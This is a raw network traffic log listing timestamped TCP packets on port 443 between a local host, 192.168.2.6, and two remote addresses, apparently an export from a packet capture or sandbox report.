Jan 2, 2025 20:28:37.002727985 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.002984047 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.003055096 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.003446102 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.004472017 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.004482985 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.004745960 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.004808903 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.005136013 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.013638020 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.013720036 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.014384985 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.014440060 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.016064882 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.016072989 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.016428947 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.016477108 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.016849995 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.047324896 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.047337055 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.047349930 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.059355021 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.436564922 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.436646938 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.436676979 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.436726093 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.443109989 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.443109989 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.443133116 CET	443	49962	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.443593025 CET	49962	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.443922997 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.443948984 CET	443	49971	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.444005966 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.444293022 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.444308043 CET	443	49971	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.468166113 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468220949 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468241930 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.468261957 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468308926 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.468316078 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468326092 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468369007 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.468761921 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468818903 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468835115 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.468846083 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468883038 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.468889952 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.468925953 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.469134092 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.469351053 CET	49961	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.469362974 CET	443	49961	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.469794989 CET	49964	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.469808102 CET	443	49964	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.470247030 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.470268011 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.470705032 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.471046925 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.471056938 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.486608028 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.486717939 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.486819029 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.486846924 CET	443	49963	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.486897945 CET	49963	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.487332106 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.487348080 CET	443	49974	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:37.487390995 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.487397909 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.487466097 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.487466097 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.487658024 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:37.487670898 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:37.487740040 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:37.487756968 CET	443	49974	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.076473951 CET	443	49971	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.076549053 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.077024937 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.077037096 CET	443	49971	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.079066038 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.079071999 CET	443	49971	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.134171963 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.134538889 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.137425900 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.137432098 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.137911081 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.137918949 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.138540030 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.138740063 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.140343904 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.140352964 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.140667915 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.140677929 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.148821115 CET	443	49974	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.148926973 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.149303913 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.149308920 CET	443	49974	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.149565935 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.149571896 CET	443	49974	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.502837896 CET	443	49971	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.502913952 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.502935886 CET	443	49971	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.502989054 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.503160000 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.503210068 CET	443	49971	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.503273010 CET	49971	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.503916979 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.503966093 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.504050016 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.504308939 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.504322052 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.546335936 CET	443	49974	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.546530962 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.546541929 CET	443	49974	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.546633959 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.546688080 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.546721935 CET	443	49974	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.546814919 CET	49974	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.547317982 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.547344923 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.547454119 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.547758102 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:38.547769070 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:38.557673931 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.557719946 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.557728052 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.557737112 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.557776928 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.557830095 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.557836056 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.557871103 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.557874918 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.558007956 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.558686018 CET	49975	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.558696985 CET	443	49975	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.559266090 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.559281111 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.559345961 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.559587955 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.559595108 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.712857962 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.712917089 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.712929010 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.712949991 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.712968111 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.713033915 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.713080883 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.713080883 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.714113951 CET	49973	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.714134932 CET	443	49973	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.714721918 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.714785099 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:38.714865923 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.715164900 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:38.715182066 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.141686916 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.141778946 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.142469883 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.142520905 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.150875092 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.150899887 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.151247978 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.151436090 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.151695967 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.199327946 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.216558933 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.216670990 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.217331886 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.217422962 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.219285965 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.219294071 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.219556093 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.219614029 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.219928026 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.219980001 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.220050097 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.220359087 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.220362902 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.222564936 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.222570896 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.267334938 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.388354063 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.388436079 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.389002085 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.389014006 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.389205933 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.389210939 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.527265072 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.528439999 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.528527975 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.528810024 CET	49984	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.528824091 CET	443	49984	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.529460907 CET	49994	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.529495001 CET	443	49994	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.529560089 CET	49994	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.529804945 CET	49994	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.529817104 CET	443	49994	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.599282026 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.599406004 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.599430084 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.599497080 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.599543095 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.599585056 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.599752903 CET	443	49985	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.599805117 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.599822044 CET	49985	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.600070000 CET	49997	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.600094080 CET	443	49997	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.600231886 CET	49997	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.600595951 CET	49997	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.600604057 CET	443	49997	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.646981001 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.647032022 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.647089958 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.647089958 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.647115946 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.647171021 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.647219896 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.647983074 CET	49986	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.647996902 CET	443	49986	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.648827076 CET	49998	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.648858070 CET	443	49998	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.648925066 CET	49998	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.649276018 CET	49998	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.649285078 CET	443	49998	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.810973883 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.811024904 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.811044931 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.811073065 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.811086893 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.811121941 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.811126947 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.811151981 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.811171055 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.811192989 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.812165022 CET	49987	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.812177896 CET	443	49987	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.812778950 CET	50000	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.812799931 CET	443	50000	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.812876940 CET	50000	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.813079119 CET	50000	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.813088894 CET	443	50000	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:39.978018045 CET	49994	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.978329897 CET	49997	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.978363991 CET	49998	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.978382111 CET	50000	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:39.979995966 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.980020046 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.980142117 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.981090069 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.981101990 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.981504917 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.981534958 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:39.981674910 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.982223034 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:39.982234955 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.631356001 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.631431103 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.632129908 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.632204056 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.635931969 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.635946989 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.636210918 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.636260986 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.636662960 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.683329105 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.704947948 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.705069065 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.705705881 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.705794096 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.707535982 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.707547903 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.707784891 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:40.707869053 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.708205938 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:40.751379967 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.033335924 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.033390045 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.033406019 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.033540964 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.033596039 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.033643961 CET	443	50004	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.033699036 CET	50004	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.034288883 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.034334898 CET	443	50011	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.034545898 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.034818888 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.034831047 CET	443	50011	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.036050081 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.036101103 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.036225080 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.036525965 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.036541939 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.084028959 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.084275961 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.084295034 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.084444046 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.084470034 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.084510088 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.084579945 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.084592104 CET	443	50003	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.084604979 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.084636927 CET	50003	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.085199118 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.085211039 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.085314989 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.085413933 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.085419893 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.085545063 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.085556984 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.085609913 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.085958958 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.085971117 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.668755054 CET	443	50011	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.668817997 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.669445038 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.669454098 CET	443	50011	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.669738054 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.669742107 CET	443	50011	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.670908928 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.670980930 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.675179005 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.675189018 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.675622940 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.675669909 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.676040888 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.718153000 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.718224049 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.719322920 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.720225096 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.720228910 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.720503092 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:41.720549107 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.720954895 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:41.723906994 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.723964930 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.724273920 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.724277973 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:41.724432945 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:41.724436998 CET	443	50015	142.250.185.78	192.168.2.6
